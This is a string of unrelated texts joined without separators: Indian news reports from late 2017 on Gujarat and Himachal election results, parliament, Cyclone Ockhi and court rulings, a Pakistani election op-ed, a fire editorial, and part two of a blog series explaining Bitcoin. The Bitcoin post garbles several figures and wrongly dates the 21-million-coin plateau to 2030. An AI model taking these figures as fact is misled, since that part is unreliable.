Assistant Commissioner of Police Shankar Marihal and a police inspector were injured in stone pelting. They have been hospitalised. Marihal, who suffered head injuries is recovering, the DCP said.

Twenty-seven people have been taken into custody, he said, adding, some more are expected to be arrested.

The situation in the area is now under control, the officer said. Inspector General of Police K Ramchandra Rao held a peace meeting with leaders of both communities.
In Lok Sabha, Congress party demanded clarification from Prime Minister Narendra Modi for his allegation on Manmohan Singh over a 'secret meeting with Pakistani officials' (File photo: PTI)

New Delhi: The Congress party on Tuesday protested in Lok Sabha, demanding clarification from Prime Minister Narendra Modi over his allegation on his predecessor Manmohan Singh over a 'secret meeting with Pakistani officials'

The BJP government accused the Congress of holding "mock proceedings" in the House in violation of the Chair's rulings.

Members of the opposition party trooped into the Well during the Question Hour after Speaker Sumitra Mahajan disallowed their demand to raise the issue.

She said whatever had happened in an election campaign should not be used to disrupt the proceedings. "The elections are over and the results are out. I cannot allow you to raise the issue here," she told the agitating members.

It had little effect on them as they persisted with their protests raising slogans like 'Pradhan Mantri maafi mango' (Prime Minister apologise), even as Mahajan continued with proceedings in the din.

She was later forced to adjourn the House for about half an hour due to the continued protests, which continued when the Lok Sabha met again for the Zero Hour.

With Congress president Rahul Gandhi and his mother Sonia Gandhi looking on from their seats, its members turned to addressing the Speaker from the Well one by one even as they could not be heard.

The Speaker continued with the Zero Hour proceedings during which members from ruling BJP and other parties raised various issues.

Congress leader Mallikarjun Kharge then said something to the Chair, who did not allow him to speak. This was followed by the members of his party to stage a walk-out.

It prompted Parliamentary Affairs Minister Ananth Kumar to slam the opposition party, saying the conduct of the Congress was "shameful and condemnable".

"They entered the Well, which is in itself condemnable. They then tried to conduct mock proceedings. One senior Congress leader after another kept speaking defying the Chair. Entire House condemns it," he said.

At one time during the Question Hour, Mahajan had warned Congress MPs that she would 'name' them. Naming of a member by the Chair generally leads to disciplinary action.
Prime Minister Narendra Modi also extended his prayers that the missing people are returned before Christmas. (Photo: ANI)

Poonthura: Prime Minister Narendra Modi on Tuesday assured of government's complete efforts to bring back people who went missing in Cyclone Ockhi.

The Prime Minister met the families affected by the vicious cyclone and assured them that "the government will do everything possible to bring back the missing people."

Modi also extended his prayers that the missing people are returned before Christmas.

"Government of India is with you in every way, our rescue efforts will never fall short and we will help you in every way, I am here to assure you about this. We pray that all those missing, can return home before Christmas," Modi said addressing the families.

Earlier on Tuesday, Modi also visited affected areas in Lakshadweep and Tamil Nadu and took stock of the situation.

Cyclone Ockhi recently hit the southern part of the country, leaving many people dead and several missing. The fishermen were especially hard hit as many of them got stranded in the sea.

A rescue and search operation was also launched by the Indian Navy, Indian Air Force and Indian Coast Guard bring back the fishermen. As of December 14, 700 fishermen have been rescued including five Sri Lankan nationals.
The NOTA option enables a voter to officially and secretly register a vote of rejection of all contesting candidates. (Photo: File)

New Delhi: Gujarat voters have emerged to be twice as likely to reject all candidates in the fray, compared to their counterparts in Himachal Pradesh, with over 5.5 lakh in Prime Minister Narendra Modi's home state opting for the NOTA (None of the above) button.

In percentage terms, 1.8 per cent voters in Gujarat pressed the NOTA button on electronic voting machines, as against 0.9 per cent in the hill state (over 33,000 voters).

In case of Gujarat, the NOTA vote share was higher than that of any party other than the Congress and the BJP. While the BJP has secured over 49 per cent votes, the Congress got nearly 41.4 per cent and independents across the state together polled 4.3 per cent.

In Himachal Pradesh, BJP has got 48.7 per cent votes as against the Congress' 41.8 per cent, while independents got 6.3 per cent. CPM also managed to score more than the NOTA with 1.5 per cent votes.

In Gujarat Chief Minister Vijay Rupani's Rajkot West seat, the NOTA votes were more than 3,300, while the same in Vadgam (where Congress-supported independent Jignesh Mevani won) were over 4,200. In Godhra also, NOTA counted over 3,000.

The NOTA option enables a voter to officially and secretly register a vote of rejection of all contesting candidates.

In the 2014 Lok Sabha polls, when NOTA was introduced for the first time in any parliamentary election, close to 60 lakh voters (1.1 per cent) opted for this option, which was more than the votes polled for more than 20 parties.

Before the introduction of EVMs, when voting was done through ballot papers, voters could put in the ballot paper without marking against any candidate thereby rejecting all candidates. Such a vote was counted as a rejection. However, this rejection option was not available to voters on the EVM and therefore the NOTA button was introduced.
Hyderabad: The Hyderabad High Court on Tuesday directed the Chief Secretaries of AP and Telangana state to prepare action plans to curb adulteration of food and place it before the court by January 23.

A division bench comprising Acting Chief Justice Ramesh Rangan-athan and Justice G. Shyam Prasad while dealing with a taken-up petition based on newspaper reports with regard to rampant usage of calcium carbide in ripening of fruits expressed anger at the casual attitude of the authorities in taking steps to prevent food adulteration.

The bench said that the adulterators were ruling the roost due to the attitude of the authorities.

Stating that profiteering in the only concern for traders and that they dont care about the health of the people, the judges said it was the duty of the governments to take care of peoples health and to protect the right to live.

Due to adulteration, people are in fear about what to eat and what not to, the bench added.

The bench told the Chief Secretaries to discuss with the experts and prepare an action plan to curb food adulteration and punish the errant traders and submit a report to the court.

Artists hiring questioned

The Hyderabad High Court directed the Telangana state government to explain the basis for the approval of appointment of 550 persons as artists on nomination by the Telangana Samskruthika Samiti.

A division bench comprising Acting Chief Justice Ramesh Ranga-nathan and Justice G. Shyam Prasad was dealing with a PIL by Jukanti Ramesh and two others challenging the action of the government.

Mr Sarasani Satyam Reddy, senior counsel appearing for the petitioner, submitted that the Samiti has taken 550 persons into government service on nomination basis and the government has approved the appointments on Febru-ary 2, 2015.

Collieries told to hire man

The Hyderabad High Court on Tuesday found fault with Singareni Collieries Company Ltd for rejecting a provisionally selected candidate for the post of junior mining engineer trainee (External) on the ground that he was diabetic.

Justice A. Ramalin-geswara Rao while allowing a petition by Mr Gunja Venkanna challenging the action of the authorities observed that diabetes is not a disability and that it is only a disorder.

Mr M.A.K. Mukheed, counsel for Mr Venka-nna, submitted that the authorities initially rejected the candidature of the petitioner and seven others in 2016 on the ground that they were non-locals. They approached the High Court which told SCCL to consider their case.

He said SCCL gave appointment to seven the candidates but denied it to Mr Venkanna stating that he was diabetic though he had submitted medical reports to prove that he was non-diabetic.

The judge directed the authorities to appoint the petitioner within 15 days.
The face of suicide victim U. Madhu, seen with the nose eaten away by rats at the Osmania General Hospital morgue.

Hyderabad: The body of a 21-year-old woman stored in the morgue at Osmania General Hospital was chewed by rats, which seems to be a common state of affairs in the neglected morgue of this major public hospital.

The body of the woman, U Madhu, who had committed suicide by hanging herself at her home in Mangaar Basti in Habeebnagar on Monday night, was taken to the hospital for post-mortem that night by the police who registered a case of suspicious death.

N Birju, a relative of Madhu said, We shifted the body to the morgue for post-mortem on Monday night. When we went to check on Tuesday, we noticed that the nose and neck parts were missing and it looked like someone had scraped it off her face. Upon asking the duty doctor present, we were told that they have a rats problem and that must be the reason.

He said there were several other bodies in the morgue, but only Madhus body had been disfigured.

Police yet to book case against Osmania hospital

Workers in the morgue informed us that there is a rat infestation in the premise. We approached the Afzalgunj police to register a case against the negligent management, but were told to come on Wednesday to register the case, added Mr Birju.

Afzalgunj police said nobody has approached them.

No case has been booked against the hospital management. Nobody has approached us for any complaint, said Inspector P Gnanendra Reddy.

He said that a letter against the hospital superintendent was given to the police. It has also been marked to the directorate of medical education in Koti, the inspector said.

Accordingly, we will be sending a letter through ACP G. Chakrawarthy to the management about the law and order problems they may face, Mr Gnanendra Reddy said.

OGH superintendent Dr Nagendra said, There is no formal complaint made to the hospital about this case. The relatives have written about it on social media but there is no official complaint either to the forensic department or the hospital.

Regarding the suicide, the police version is that Madhu was four months pregnant and "paranoid" about losing the child as she had lost her first one. There was no harassment or any such issues from the family, Habeebnagar Inspector P. Madhukar Swamy said.

A case was booked under section 174 (suspicious death) of the Code of Criminal Procedure, and the body sent to Osmania Hospital morgue on Monday night.
Hyderabad/ Vijayawada: TS and AP have entered the national pool of the National Eligibility Cum Entrance Test (Neet), ensuring a massive increase in the number of medical and PG seats that will be available to the students of the two states from the next academic year.

This follows the Centre giving Telangana state and Andhra Pradesh exemption from Article 371D.

Under this scheme, TS contributes 15 per cent of its merit seats in MBBS colleges to the national pool. In return, TS students can avail 15 per cent seats of the national pool. In the case of Telangana state, the number of merit seats will go up from 2,075 in the convener quota to 4,468 nationwide.

The number of PG medical seats will go up from 1.475 to 7.647.

There are a total 3,150 MBBS seats in Telangana state of which 2,075 comes under convener quota. There are 27,710 seats in the national quota.

Speaking in New Delhi, AP health minister K. Srinivas said the Centre had given exemption to AP from Article 371D. Due to this, the students of AP will be able to contest for 4,482 seats through Neet. Telangana state and J&K had also entered the national pool, he said.

Seats will be available in top colleges

Mr Kumar Veeramulu, dean, Sri Chaitanya Junior College said, It is a great boon for students of Telugu states to get into the national pool because we need to contribute around 400 seats and in return we get access to nearly 4,000 seats. Though these 4,000 seats are applicable to students throughout the country, the share of AP and TS in the top results is very high.

He said, In Neet-2017 in top 1,000 ranks, students from the Telugu states secured 16 per cent. From the next year the 16 per cent will become at least 22 to 23 per cent so the number of seats which we are getting will be more than the seats we are contributing. He said these seats are in the government sector, which include some top colleges
Hyderabad: The scheme to provide round-the-clock free power to the agriculture sector from next year will benefit medium and large farmers more than small farmers. Government records show that of the 55.56 land holders in the state, 34 lakh have less than half a hectare. About 2 lakh have between five and 15 hectares. According to experts, about 75 per cent of agriculture land holders dont need 24-hour power supply.

According to estimates, 24x7 supply to the agriculture sector will cost about Rs 7,000 crore per year. The state has 23 lakh agriculture pump sets, and the government will be spending about Rs 34,000 to supply power to each of them. Farmers have so far not removed auto-starters on their pump sets, which they had installed during the years of erratic power supply. Transco has decided to hold a special drive from December 5 to educate the farmers to remove them.

The auto-starters switch on the pump sets, whether there is a need to water the crops or not. This will not only impose and additional burden on the system but also deplete groundwater. A senior officer in the energy department said if all the farmers remove the auto-starters, power consumption would will be less for 24x7 power supply than the present nine-hour supply.

If the auto-starters are removed, farmers will use the pump sets only when they need to water the fields, an official said. After the announcement of 24x7 power supply, many farmers told the government that they dont need round the clock power. Energy minister G. Jagadish Reddy has stated previously that he had received many messages on his mobile phone from farmers informing him that round-the-clock power was not needed.
New Delhi: It was a bittersweet victory for the BJP in Himachal Pradesh, where it came back to power but its chief ministerial candidate and stalwart Prem Kumar Dhumal lost to his one-time protege Rajendra Singh Rana of the Congress. Prof. Dhumal contested this time from a new constituency, Sujanpur, against a popular opponent who is well known for his social work in the area.

Many felt this could be the last electoral battle for Prof. Dhumal as he is just two years short of the BJPs unofficial age bar of 75.

All eyes are now on the party leadership, which will take a call on who will be chief minister. The names of Union minister J.P. Nadda and senior leader Jairam Thakur have started doing the rounds in the state as the partys parliamentary board appointed Union ministers Nirmala Sitharaman and Narendra Singh Tomar as central observers for the legislature party meeting to chose its new leader.

Many felt internal strife was one of the main reasons for Prof. Dhumals defeat as some factions within the BJP were miffed over him being declared the partys face in the hill state. Some even claimed it was hard for Prof. Dhumal to defeat Mr Rana, who had learnt all the political tricks from him.

The party leadership had also announced his name just a few days before the state went to the polls as factionalism in the state unit is something the BJP leadership has been battling for many years now.

Prof. Dhumal, who shares a good personal rapport with Prime Minister Narendra Modi, was asked by the BJP leadership to contest from a new Assembly seat and not from his traditional seat of Hamirpur.
Chief Minister K. Chandrasekhar Rao had proposed to increase reservations for SCs and BCs in proportion to their population.

Hyderabad: The BJP winning Assembly elections in Gujarat with one of its poll plank being rejection of any more reservations above the 50 per cent ceiling will impact Telangana governments reservation policy.

The state government increased reservations for muslims and STs to take the overall quotas to 62 per cent, and sent the proposal to Centre for approval in April 2017. The Centre has kept a decision on the issue pending. With BJP making its stand on the issue clear in the Gujarat election, the prospect of it giving the nod to TS request gets further queered.

Chief Minister K. Chandrasekhar Rao had proposed to increase reservations for SCs and BCs in proportion to their population, which would extend the quotas to more than 80 per cent.

Mr Rao entrusted the responsibility of making recommendations on BC quota hike to the BC Com-mission, which is on the job and expected to submit its report in a month or two.

Prime Minister Narendra Modi, while referring to Congress promise of providing reservations for Patels during the Gujarat election campaign, had said that reservations above 50 per cent limit prescribed by Supreme Court could not be violated.

Given this, the TS government may now have to weigh its options over how to go about on the reservation issue since Mr Rao has already made an announcement that the state government would be forced to move Supreme Court for approval to have reservations above the 50 per cent limit on the lines of that in force in Tamil Nadu.

Increasing quotas for Muslims and STs remains a major poll promise made by the TRS during 2014 elections.

After assuming power, the government took three years to draft the quota hike Bill and got it approved in the Legislature.

The CM has taken up the quota issue with the PM several times in meetings over the past eight months. The CM said even in his several press conferences and the Assembly, the PM was in favour of a hike in reservations in TS and that the Centre would give its nod soon.

However, the Gujarat elections has changed the situation altogether.

Congress promised reservations to Patidars, which would exceed the 50 per cent limit in the state. This was opposed by Mr Modi on the grounds that the SC orders on 50 per cent cap could not be violated. Despite this stand, the BJP has emerged victorious in Gujarat giving strength to Mr Modi to reject any quota hikes above 50 per cent.

TRS party sources said, We dont see any chances of PM approving fresh quotas in TS after the BJP won the Gujarat elections on the reservations plank. We are now left with the only option of filing a case in Supreme Court against the Centre, questioning why the Centre had allowed Tamil Nadu to have 69 per cent quota for over two decades while denying the same to Telangana.

The CM is gearing up to take legal recourse after making a final request to PM in this regard, said party sources.

Telangana BJP leaders too have been strongly opposing an increase in quotas for Muslims and campaigning hard against it. They have requested PM Modi and party national president Amit Shah not to approve any hike based on religion.
CHENNAI: Predicting that Tamil Nadu would witness assembly elections within next three months, DMK Working President M K Stalin on Tuesday said the party, if voted to power, would unravel the mystery surrounding the death of former chief minister J Jayalalithaa.

Addressing road shows in R K Nagar constituency on the last day of campaigning, Stalin accused Chief Minister Edappadi K Palaniswami, his deputy O Pannerselvam and V K Sasikala family of "being responsible for Jayalalithaa's death."

Stalin, the Opposition Leader in the Tamil Nadu Assembly, predicted that the EPS-OPS government would fall once the judiciary takes a call on disqualification of 18 MLAs owing allegiance to rebel leader T T V Dhinakaran. He also said the DMK Government would act against "dishonest" police officers who are acting in "collusion" with the AIADMK Government in the R K Nagar by-poll.

Contending that there was mystery on how Jayalalithaa passed away and confusion on the kind of medical treatment was provided to her during her 75-day hospitalisation, Stalin also dismissed as "eyewash" the one-man inquiry commission ordered by the state government into her death.

"The first job of the DMK rule will be to find out who is responsible for Jayalalithaa's death and lock them up in prisonthree people have hid the truth from people of Tamil Nadu. First is O Panneerselvam who was the officiating chief minister when Jayalalithaa was hospitalised, second is Edappadi who was his deputy then and third the Sasikala family," Stalin told one of the road shows.

Stalin also said though RK Nagar was a "VIP constituency" there was "no indication" of it on the ground. He questioned what development works had been taken up by the AIADMK government in the constituency.
the BJP is hoping to use as a staging point for a popular movement to unseat the Congress government. (Photo: DC)

Bengaluru/Mangaluru: After a hard fought battle to retain Gujarat, the BJP's focus is now firmly on Karnataka, with BJP national president Amit Shah convening a crucial meeting with state BJP leaders, summoning the party core committee leaders to Delhi on Wednesday to discuss the election strategy.

On top of Amit Shah's list of invitees is Union Minister of State Ananth Kumar Hegde who has been in the forefront of the recent agitations in Uttara Kannada and Dakshina Kannada which the BJP is hoping to use as a staging point for a popular movement to unseat the Congress government.

However much of a heartburn it may cause in the B.S. Yeddyurappa camp, Mr. Hegde is expected to be given additional responsibility as the face of the Karnataka election campaign.

Coupled with Prime Minister Narendra Modi's flying visit to Mangaluru overnight, there was little doubt that Modi's pit stop in Mangaluru was to kickstart the BJP's Mission Karnataka. Instead of flying directly to the cyclone affected areas of Lakshadweep, Kerala and Tamil Nadu via Kochi he chose Mangaluru, playing to the gallery and virtually kicking off his party campaign for the 2018 state poll by rallying some 3,000 supporters, who converged on the airport and followed him to the Circuit House.

Seeing the Prime Minister in Mangaluru, a Congress leader observed that his visit appeared to be part of the BJP's election strategy. "The BJP's next target is Karnataka. By coming to Mangaluru the same day that the BJP won in two states he clearly wanted to maintain the tempo and mood and get his party ready for the poll in Karnataka," he said, adding that the BJP's main target was coastal Karnataka, where it wanted to win the maximum number of seats.

The BJP made much of the fact that instead of heading for Gujarat, the Congress president Rahul Gandhi, headed for a movie "Star Wars: The Last Jedi" on Monday, after the results were in.

Disturbed by the alarming results in the Gujarat elections where the BJP won but with razor thin margins, the BJP central leadership has decided to turn its immediate attention to Karnataka, with party national President Amit Shah summoning the BJP core committee leaders to Delhi for an elections strategy meeting on Wednesday.

Most interestingly, the BJP national President has invited Union Minister of state, Ananth Kumar Hegde for the meeting, even though he is not a member of the BJP core committee. Mr. Yeddyurappa will also attend the meeting at Delhi.

Impressed with Ananth Kumar Hegde's aggressive speeches in the ongoing Parivarthana Yatra, the party central leadership may give him additional responsibility to counter CM Siddaramaiah in 2018 elections. The party leadership believes that it's only Mr. Hegde who can effectively counter Siddaramaiah, and that he would be far better than any other state leaders at it, sources said. Unlike Gujarat, both Narendra Modi and Amit Shah know they face a strong local leadership in Karnataka. Growing prominence of Siddaramaiah in Karnataka is a challenge for Mr. Modi and Shah. BJP sources also said, instead of attacking Congress President Rahul Gandhi, BJP central leadership will focus more on Siddaramaiah and his anti people policies.

During the meeting, Mr. Shah will assess the ongoing tour of the Chief Minister and public response for his rally, and chalk out a strategy to counter the Siddaramaiah tour of the state. The Hindutva agenda of the party is the main reason for pushing Mr. Hedge to the front position, as the party's state leadership is preparing to bank on Hegde's skill in whipping up the Hindutva agenda as its main plank during the election campaign.

Sources close to Ananth Kumar Hegde told this newspaper that Tuesday's meeting could be crucial for Karnataka, Mr. Shah is likely to spell out the tasks to party leaders and in the case of Mr Hegde, set the agenda to attack the Chief Minister Siddaramaiah whom the BJP believes, only Mr Hegde was able to successfully counter during the Parivarthana Yatra.
Hyderabad: Prime Minister Narendra Modi is likely to bring a legislation to hold the first phase of simultaneous polls to the Lok Sabha and Assemblies whose terms come to end in 2018-19, according to BJP sources. After wresting Himachal Pradesh, the BJP-NDA combine now is in power in 19 Assemblies which should give it the advantage. The move for the legislation is expected in the ensuing Budget Session of Parliament.

The Prime Minister is keen to hold Lok Sabha and Assembly elections in 13 Assemblies sometime in October 2018, they added. Sources said that after passage of the Constitutional Amendment Bill in Parliament in February, it would not be difficult for the Centre to ensure passage of the Bill by minimum 50 per cent of legislatures in a month.

Parliament is vested with power to bring in a Constitutional Amendment Bill for curtailing or extending the tenure of the Assemblies as was done during Emergency by the then Indira Gandhi government. The proposal to hold simultaneous polls is nothing new as Mr Modi has been stating that it was very much on the cards. Even Election Commissioner Om Prakash Rawat said in Bhopal a few weeks ago that the Prime Ministers Office had sought working out modalities.

Tenure of some assemblies to be affected

NITI Aayog has prepared a draft on holding simultaneous polls. The report said this would require a maximum one-time curtailment or ex-tension in some Houses.

It remained to be seen if there would be an extension of elections to Karnataka, Tripura and Meghalaya Assemblies whose terms come to an end between March and May 2018. That would depend on the stance that Mr Modi takes.

The move will have to either repeal or introduce new provisions in the Representation of Peoples Act and a few provisions in the Consti-tution.

Speaking to mediapersons in Hyderabad, CPI secretary-general Suravaram Sudhakar Reddy said his party was against the move for simultaneous polls. He said it would take away the rights of states.

The CPI was proposing proportional representation system wherein parties would be allotted seats in proportion to the percentage of votes they secure.

Assembly tenure 2018

March 6: Meghalaya

March 13: Nagaland

March 14: Tripura

May 28: Karnataka

Dec. 15: Mizoram

2019

Jan. 5: Chhattisgarh

Jan. 7: MP

Jan. 20: Rajasthan

May 27: Sikkim

June 1: Arunachal

June 11: Odisha

June 8: Telangana

June 18: Andhra Pradesh
The rumour mill seems in overdrive in predicting how the election process may be derailed. Speculation is rife that something will give. Some argue that we need an artificial stabilising mechanism for a while. Others talk of a technocratic setup. And of course, the dreaded coup never seems to disappear from the conversation. Even short of these extra-constitutional options, there is uncertainty around the election timing. The National Assembly speaker thinks the assemblies wont complete their tenure. Others point to possible delays because of the improbability of the issue of constituency delimitations being resolved in time. All this defies political logic as far as the 2018 ballot is concerned. Eliminating the coup option doesnt require much analysis. There isnt an appetite among the powers that be. This Army chief certainly isnt the type but also, the Army is aware that it has no magical solutions to offer for the countrys problems. Its not going to take direct fire when it can avoid it by remaining behind the scenes.

Next, technocratic government. When I ask what this means in practice, many point to the initial post-coup cabinets of military dictators as models, e.g. Musharrafs in the 1999-2001 period. But how do you get there without a coup?Some bring up the Bangladesh model, without recognising its failure. Yes, the 2006-07 state of emergency and prolonged rule of the caretaker setup in Bangladesh was blessed by the military. But this came about because of significant street violence, a boycott of the poll by a major party, and with judicial support. In Pakistans case, neither the PML(N) nor the PTI are about to opt out of the next elections as that would hand over power to the other on a platter. The judiciary isnt going to bite either. The current Supreme Court seems to be consciously acting as a self-anointed voice of the average citizen. Such judicial activism is not alien to the developing world; its an approach in which the institution overreaches and takes it upon itself to signal intolerance for governance failures and its perceived causes. But this isnt a judiciary acting on GHQ orders. Right from Chief Justice Iftikhar Chaudhrys time, the judiciary has been seen as trying to cement its institutional position perhaps as a key power broker that cant be placated at will. Nothing would harm this effort more than bowing to the khakis or politicos.

As for the elections timing, there isnt a realistic path to altering the 2018 schedule. The PML(N) could potentially have benefited from an early ballot in two scenarios. First, right after his ouster, Mr Nawaz Sharif could have garnered a sympathy vote and gone up against a PTI unprepared for an election. Second, had Imran Khan been disqualified by the court last week, the PTI would have been at its most vulnerable. The PML(N) could have conceivably considered cashing on this. Now, Nawaz is going to wait it out for the March 2018 Senate elections he has been eyeing all along. And while he could call elections after secu-ring the Senate, it wont make any qualitative difference in the timing of the elections, preponing them only by 45 days or so, but it would give the caretaker setup 90 instead of 60 days to hold polls. This makes little sense for the PML(N): the lesser the time available to the caretaker to switch around a pro-PML(N) bureaucracy and make other changes to offer the fairest election possible, the better for Nawaz & co. The opposition, on its part, neither has the numbers in the assemblies to force early polls, nor will it benefit from them.

Finally, the census and the question of a delayed ballot. The delimitation bill on amending constituencies should lay this concern to rest. While technicalities of the process can still create road blocks, going the delay route assumes the major political forces that would have to force this agenda benefit from a prolonged caretaker rule. One cant see how they gain by backing anything that holds the normal electoral process in abeyance even for a day. All eyes ought to be on next summer. It is time to begin asking the political parties tough questions about their priorities.

By the arrangement with Dawn
The death of 12 workers in a snack shop fire in Mumbai is symptomatic of the tragedy of urban India. Scores of workers have to brave an existence in near inhuman conditions in mega-cities with limited space to eke out a living and send some money home for parents and siblings. And they do so without even a modicum of pretence on the part of the owners of the business to look after the safety of their workers. Most businesses would not consider even the purchase and maintenance of fire safety equipment or the creation of emergency exits for cramped living spaces. Given such reluctance on the part of businesses to invest even a small proportion of operating expenses for the safety and welfare of workers, it would be even more far-fetched to believe that businesses would, at least, insure their workers.

The rigmarole of the authorities waking up after the tragedy to find that none of such small businesses are licensed to produce goods like eatables using fire for cooking would be gone through in every case. A probe would be ordered and the owner arrested and booked. The accused would emerge after a hiatus to carry on doing his business in exactly the same manner without a thought lent to safety. It is also standard practice in the country to put down every fire to a short circuit but which is probably invited by the drawing of various wires in a haphazard manner. If the government is inclined towards salving its conscience, it would order the compensation of a few lakh of rupees and normal life would resume for all. Not a thought would be lent to the human tragedy or the dreams shattered with the lives of young Indians being snuffed out like this.
[Note: This is the second in a three part series. You can read the introductory post here and part three here.]

How Bitcoin Works (The Simplified Version)

In order to use the Bitcoin system, a user installs a wallet on their computer or mobile phone. Once installed the wallet generates a Bitcoin address (similar to an email address) that allows the user to send and receive payments. Bitcoins are divisible to 8 decimal places yielding a total of approx. 211014 currency units. This allows a person to spend a fraction of a Bitcoin (the current exchange rate as of April 15, 2012 is 1 Bitcoin = $95.36000). Unlike standard e-commerce and money transfer system, Bitcoin transactions are irreversible.

How Bitcoin Works (The More Complicated Version)

A Bitcoin is merely a chain of digital signatures attached to a transaction log. In the very first transaction of the system, Nakamotos computer program (which is open source and distributed across a peer-to-peer network) created 50 Bitcoins. When Nakamoto spent some of the coins, it created a new transaction that subtracted the amount from his account and credited it to the recipients. All such transfers entail the owner digitally signing a hash (a numerical value created by an algorithm) of the previous transaction and providing the public key for the encryption to the next owner. Both items are then added to the coins transaction log. A payee can verify the signatures to verify the chain of ownership, which prevents double spending of the same coins.

This transactionand all subsequent exchangesis distributed to the entire network for verification. Collections of transactions, known as blocks, are deemed valid when another computer on the network creates a transaction log for it that matches the previous blocks. To prevent the falsified logs from being accepted, the system must provide a means of verification that is prohibitively costly to any individual user, but relatively cheap for the network as a whole. As explained in The Economist:

This is done by making it into a forced-work task, which involves using the valid blocks and the new transactions to generate a digest consisting of 256 bits (i.e., any number between 0 and 2256). The task is complete when the systems algorithm spits out a hash value below a preset target (like 11 in the example above). The target is set so that the puzzle is solved by someone on the network, and a new block approved, every 10 minutes. To keep this rate constant as the networks ranks swell and its combined computing power grows, the target is lowered in order to make generating a value below it harder. (Conversely, if the network were to shrink, it would get easier again.)

As a reward for providing the computing power necessary to validate the logs, the first user whose computer finishes the RPOW task is rewarded with a set number of new coins. This is how new Bitcoins are added to the money supply. Because blocks are created at a steady average rate (about every ten minutes), 300 new coins were added to the system every hour for the first four years (210,000 blocks). The system is designed so that the minting rate will decrease by half every four years. In 2012 the number of new coins issued per block dropped to 25 coins. In 2017, the rate will be 12.5, and so on, until the total supply plateaus at 21 million coins around the year 2030.

The following shows how the total Bitcoins will be added to the system over the next twenty years.



Why are Bitcoins Valuable?

Most global currencies are fiat moneymoney that has value only because of government regulation or law. Fiat money is not convertible by law into anything other than itself, such as gold or silver, and has no fixed value in terms of an objective standardits value can fluctuate based on numerous economic factors. In contrast, commodity money is a medium of exchange that may be transformed into a commodity, useful in production or consumption. Commodity money can be based on minerals (e.g., gold or silver), found objects (e.g., shells or stones), or consumer good (e.g., cigarettes in prison or POW camps). Although it was the dominant medium for exchange for over two thousands years, commodity money has fallen out of favor because of it limits the scope for monetary policy and other actions that alter the value of money.

Bitcoins are a form of commodity money. Technically, Bitcoins have no intrinsic value since they are nothing more than bits created by a laborious process on a decentralized network of computers. But because the supply is limited (they are rare commodity not easily produced) and their use is recognized as a medium of exchange, they are assigned a value by their users. Their worth, like the stones of Yap, is solely determined by what people believe they are worth.

So why would anyone assign value and use Bitcoins as a medium of exchange? The answer lies in the way they can be used and the types of people who would be attracted to the advantages of using Bitcoins.

Who Actually Uses Bitcoin?

There are three main groups of people who are attracted to the Bitcoin system:

1. People who are obsessed with privacy.

2. People who despise the government and/or the Federal Reserve System.

3. People interested in online experiments and/or peer-based innovations.

Of course such a list isnt exhaustive, and there is much overlap between the groups. But the nature of the system makes it appealing to such groups precisely because this was the intent of its founder.

Almost nothing is known about Satoshi Nakamoto, the man (or woman) who devised both the concept and the original Bitcoin program. The name is Japanese but there is no Japanese version of the Bitcoin program. Nakamoto has also not written a single line of Japanese either in his code or in his sparse online writings. After starting the Bitcoin project in 2007, his involvement tapered of in late 2010. He has not been heard from since.



As to his political motivations, the only clue is a message he left on a cryptography mailing list. In response to a claim that the Bitcoin system would be socially useful and valuable Nakamoto wrote: Its very attractive to the libertarian viewpoint if we can explain it properly. Im better with code than with words though.



The intent and motivations of the founder are usually of no concern when evaluating new technologies. However, the case of peer-based systems such a Bitcoin, they can be a useful starting point for understanding how the project will evolve and its likelihood of success. Crowd-sourced technology projects are often driven as much by political and social concerns as they are with economics. Bitcoin is a prime example. The system is cumbersome, limited in use, and has many economic disadvantages (which well discuss in the next section) that far outweighat least for the common userany advantages. The primary motivation for advancing the system is to advance concerns common to cyberlibertarians: online privacy and a disdain for fiat money.

The concerns of some privacy enthusiasts, however, have less to do with political abstractions of liberty than with a desire to have their financial transactions hidden from the view of law enforcement. For example, the website Silk Road made headlines a couple of years ago for becoming the first online marketplace for illicit drugs to accept the digital currency. In an exclusive interview with Gawker.com, a customer of Silk Road shared his online buying experience:

About three weeks ago, the U.S. Postal Service delivered an ordinary envelope to Marks door. Inside was a tiny plastic bag containing 10 tabs of LSD. If you had opened it, unless you were looking for it, you wouldnt have even noticed, Mark told us in a phone interview. Mark, a software developer, had ordered the 100 micrograms of acid through a listing on the online marketplace Silk Road. He found a seller with lots of good feedback who seemed to know what they were talking about, added the acid to his digital shopping cart and hit check out. He entered his address and paid the seller 50 Bitcoinsuntraceable digital currencyworth around $150. Four days later the drugs, sent from Canada, arrived at his house. It kind of felt like I was in the future, Mark said.

Not everyone, though, is enthusiastic about narcotics being bought with cryptocurrency. When Senators Chuck Shumer of New York and Joe Manchin of West Virginia heard about the article, they demanded federal authorities investigate and shut down Silk Road. Its an online form of money laundering used to disguise the source of money, and to disguise whos both selling and buying the drug, said Schumer.



Despite the Senators legitimate concerns about online narcotics trafficking, he shouldnt be as concerned about the use Bitcoin for money laundering. Although users of Bitcoins can remain anonymous, they arent untraceable. As Jeff Garzik, a member of the Bitcoin core development team, told Gawker.com, Attempting major illicit transactions with Bitcoin, given existing statistical analysis techniques deployed in the field by law enforcement, is pretty damned dumb. Ironically, drug users who thought they were using Bitcoin to conceal their transactions are likely making it easier for the DEA to collect a database of their purchases.



And lest you think Im exaggerating the appeal of Bitcoin for illicit transactions, here is a chart from May-June 2011 that showed the rise in demand for Bitcoins after Gawker made the public aware that they could be used to buy drugs.

However, buying drugs is not the only government-avoiding activity that Bitcoins help facilitate. They can also allow American citizens to gamble online using foreign gambling sites and bypass a U.S. Government ban on online gambling or the transfer of funds to offshore gambling sites. The currency also allows people to avoid taxes and can facilitate donations to groups that are targeted by federal agents. Bitcoin users, for instance, can provide money to groups like WikiLeaks without worrying about the U.S. Government shutting down their PayPal accounts.



Most people who exchange Bitcoins, though, are (presumably) not using their money to buy psychedelic mushrooms from Canada or play online blackjack in Antigua. Many are simply enthusiastic and supportive of a system that allows them to put their monetary theories into practice. Whether these economic practices are sound, though, is a question that we will examine next post.

[In part 1 of this series we looked at how humans determine what is considered money and how Bitcoin came into existence. In part 3 well consider the disadvantages of Bitcoin, its future, and why it should matter (to everyone, but specifically to Christians).]
